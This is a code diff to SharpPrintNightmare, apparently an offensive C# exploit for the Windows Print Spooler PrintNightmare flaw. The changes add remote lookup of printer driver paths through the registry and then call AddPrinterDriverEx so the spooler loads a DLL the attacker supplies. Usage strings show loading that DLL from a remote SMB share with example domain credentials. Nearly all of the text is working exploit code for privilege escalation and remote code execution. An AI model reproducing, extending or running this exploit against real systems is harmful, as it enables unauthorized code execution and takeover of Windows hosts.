@ -1,6 +1,9 @@
@@ -1,6 +1,9 @@
using System ;
using Microsoft.Win32 ;
using System ;
using System.Collections.Generic ;
using System.ComponentModel ;
using System.IO ;
using System.Linq ;
using System.Runtime.InteropServices ;
using Tools ;
@ -17,6 +20,7 @@ namespace SharpPrintNightmare
@@ -17,6 +20,7 @@ namespace SharpPrintNightmare
//https://www.pinvoke.net/default.aspx/winspool/EnumPrinterDrivers.html
[DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)]
static extern bool EnumPrinterDrivers ( String pName , String pEnvironment , uint level , IntPtr pDriverInfo , uint cdBuf , ref uint pcbNeeded , ref uint pcRetruned ) ;
public struct DRIVER_INFO_2
{
public uint cVersion ;
@ -46,8 +50,8 @@ namespace SharpPrintNightmare
@@ -46,8 +50,8 @@ namespace SharpPrintNightmare
static void Main ( string [ ] args )
{
string dllpath ;
string pDriverPath = "" ;
string path = null ;
string computername = null ;
string pDriverP ath = null ;
//network credentials wont be used for LPE
string domain = "NeverGonnaGiveYouUp" ;
string user = "NeverGonnaLetYouDown" ;
@ -57,72 +61,77 @@ namespace SharpPrintNightmare
@@ -57,72 +61,77 @@ namespace SharpPrintNightmare
{
Console . WriteLine ( "-Locally" ) ;
Console . WriteLine ( " .\\SharpPrintNightmare.exe C:\\addCube.dll" ) ;
Console . WriteLine ( " .\\SharpPrintNightmare.exe 'C:\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'" ) ;
Console . WriteLine ( "-Remote using current context" ) ;
Console . WriteLine ( " .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' '\\\\192.168.1.20'" ) ;
Console . WriteLine ( " .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' '\\\\192.168.1.20'" ) ;
Console . WriteLine ( "-Remote using runas" ) ;
Console . WriteLine ( " .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' '\\\\192.168.1.20' hackit.local domain_user Pass123" ) ;
Console . WriteLine ( " .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' '\\\\192.168.1.20' hackit.local domain_user Pass123" ) ;
Environment . Exit ( 0 ) ;
}
dllpath = args [ 0 ] ;
if ( args . Length > 1 )
if ( args . Length > 2 )
{
pDriverPath = args [ 1 ] ;
domain = args [ 2 ] ;
user = args [ 3 ] ;
password = args [ 4 ] ;
}
else
//runas /netonly
using ( new Impersonator . Impersonation ( domain , user , password ) )
{
DRIVER_INFO_2 [ ] drivers = getDrivers ( ) ;
foreach ( DRIVER_INFO_2 driver in drivers )
if ( args . Length > 1 & & args . Length < = 5 )
{
//Console.WriteLine(driver.pDriverPath); //debugcd
if ( driver . pDriverPath . ToLower ( ) . Contains ( "filerepository" ) )
//Find remote drivers
computername = args [ 1 ] ;
List < string > drivers = getDrivers ( computername ) ;
pDriverPath = Path . GetDirectoryName ( drivers [ 0 ] ) + "\\Amd64\\UNIDRV.DLL" ;
if ( string . IsNullOrEmpty ( pDriverPath ) )
{
pDriverPath = driver . pDriverPath ;
break ;
Console . WriteLine ( $"[-] Specify pDriverPath manually" ) ;
Environment . Exit ( 1 ) ;
}
}
//could not find driver path
if ( pDriverPath = = "" )
//if OpenRemoteBaseKey fails
else if ( args . Length > 5 )
{
Console . WriteLine ( $"[-] pDriverPath {drivers[0].pDriverPath}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\....." ) ;
Console . WriteLine ( $"[-] Specify pDriverPath manually" ) ;
Environment . Exit ( 1 ) ;
pDriverPath = args [ 5 ] ;
}
}
Console . WriteLine ( $"[*] pDriverPath {pDriverPath}" ) ;
Console . WriteLine ( $"[*] Executing {dllpath}" ) ;
if ( args . Length > 2 )
{
path = args [ 2 ] ;
}
if ( args . Length > 3 )
{
domain = args [ 3 ] ;
user = args [ 4 ] ;
password = args [ 5 ] ;
}
//runas /netonly
using ( new Impersonator . Impersonation ( domain , user , password ) )
{
else //Find local driver
{
DRIVER_INFO_2 [ ] drivers = getDrivers ( ) ;
foreach ( DRIVER_INFO_2 driver in drivers )
{
//Console.WriteLine(driver.pDriverPath); //debugcd
if ( driver . pDriverPath . ToLower ( ) . Contains ( "filerepository" ) )
{
pDriverPath = driver . pDriverPath ;
break ;
}
}
//could not find driver path
if ( string . IsNullOrEmpty ( pDriverPath ) )
{
Console . WriteLine ( $"[-] pDriverPath {drivers[0].pDriverPath}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\....." ) ;
Console . WriteLine ( $"[-] Specify pDriverPath manually" ) ;
Environment . Exit ( 1 ) ;
}
}
Console . WriteLine ( $"[*] pDriverPath {pDriverPath}" ) ;
Console . WriteLine ( $"[*] Executing {dllpath}" ) ;
Console . WriteLine ( "[*] Try 1..." ) ;
addPrinter ( dllpath , pDriverPath , path ) ;
addPrinter ( dllpath , pDriverPath , computername ) ;
Console . WriteLine ( "[*] Try 2..." ) ;
addPrinter ( dllpath , pDriverPath , path ) ;
addPrinter ( dllpath , pDriverPath , computername ) ;
Console . WriteLine ( "[*] Try 3..." ) ;
addPrinter ( dllpath , pDriverPath , path ) ;
addPrinter ( dllpath , pDriverPath , computername ) ;
}
}
static void addPrinter ( string dllpath , string pDriverPath , string path = null )
static void addPrinter ( string dllpath , string pDriverPath , string computername )
{
//pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL"; // 2019 debug
//pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_addb31f9bff9e936\\Amd64\\UNIDRV.DLL"; // 2016 debug
//DRIVER_INFO_2 Level2 = drivers[0]; // debug
DRIVER_INFO_2 Level2 = new DRIVER_INFO_2 ( ) ;
Level2 . cVersion = 3 ;
Level2 . pConfigFile = "C:\\Windows\\System32\\winhttp.dll" ; //replace kernelbase with winhttp
@ -139,7 +148,7 @@ namespace SharpPrintNightmare
@@ -139,7 +148,7 @@ namespace SharpPrintNightmare
Marshal . StructureToPtr ( Level2 , pnt , false ) ;
//call AddPrinterDriverEx
AddPrinterDriverEx ( path , 2 , pnt , flags ) ;
AddPrinterDriverEx ( computername , 2 , pnt , flags ) ;
Console . WriteLine ( "[*] Stage 0: " + Marshal . GetLastWin32Error ( ) ) ;
Marshal . FreeHGlobal ( pnt ) ;
@ -154,7 +163,7 @@ namespace SharpPrintNightmare
@@ -154,7 +163,7 @@ namespace SharpPrintNightmare
Marshal . StructureToPtr ( Level2 , pnt2 , false ) ;
//call AddPrinterDriverEx
AddPrinterDriverEx ( path , 2 , pnt2 , flags ) ;
AddPrinterDriverEx ( computername , 2 , pnt2 , flags ) ;
int errorcode = Marshal . GetLastWin32Error ( ) ;
Marshal . FreeHGlobal ( pnt2 ) ;
if ( errorcode = = 0 )
@ -166,13 +175,44 @@ namespace SharpPrintNightmare
@@ -166,13 +175,44 @@ namespace SharpPrintNightmare
}
}
static DRIVER_INFO_2 [ ] getDrivers ( string path = null )
static List < string > getDrivers ( string computername )
{
computername = computername . Trim ( '\\' ) ;
string driverpath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\PackageInstallation\\Windows x64\\DriverPackages" ;
List < string > drivers = new List < string > ( ) ;
try
{
RegistryKey environmentKey = RegistryKey . OpenRemoteBaseKey ( RegistryHive . LocalMachine , computername ) ;
foreach ( string subKeyName in environmentKey . OpenSubKey ( driverpath ) . GetSubKeyNames ( ) . Where ( item = > item . Contains ( "ntprint.inf_amd64" ) ) )
{
string path ;
//Console.WriteLine(subKeyName);
path = ( string ) environmentKey . OpenSubKey ( driverpath + "\\" + subKeyName ) . GetValue ( "DriverStorePath" ) ;
//Console.WriteLine(path);
if ( ! String . IsNullOrEmpty ( path ) )
{
drivers . Add ( path ) ;
}
}
environmentKey . Close ( ) ;
}
catch
{
Console . WriteLine ( "[-] Failed to enumerate printer drivers" ) ;
Environment . Exit ( 1 ) ;
}
return drivers ;
}
static DRIVER_INFO_2 [ ] getDrivers ( )
{
uint cbNeeded = 0 ;
uint cReturned = 0 ;
//path = "\\\\192.168.1.20";
if ( EnumPrinterDrivers ( path , "Windows x64" , 2 , IntPtr . Zero , 0 , ref cbNeeded , ref cReturned ) )
if ( EnumPrinterDrivers ( null , "Windows x64" , 2 , IntPtr . Zero , 0 , ref cbNeeded , ref cReturned ) )
{
//succeeds, but shouldn't, because buffer is zero (too small)!
throw new Exception ( "EnumPrinters should fail!" ) ;
@ -186,7 +226,7 @@ namespace SharpPrintNightmare
@@ -186,7 +226,7 @@ namespace SharpPrintNightmare
}
IntPtr pAddr = Marshal . AllocHGlobal ( ( int ) cbNeeded ) ;
if ( EnumPrinterDrivers ( path , "Windows x64" , 2 , pAddr , cbNeeded , ref cbNeeded , ref cReturned ) )
if ( EnumPrinterDrivers ( null , "Windows x64" , 2 , pAddr , cbNeeded , ref cbNeeded , ref cReturned ) )
{
DRIVER_INFO_2 [ ] printerInfo2 = new DRIVER_INFO_2 [ cReturned ] ;
long offset ;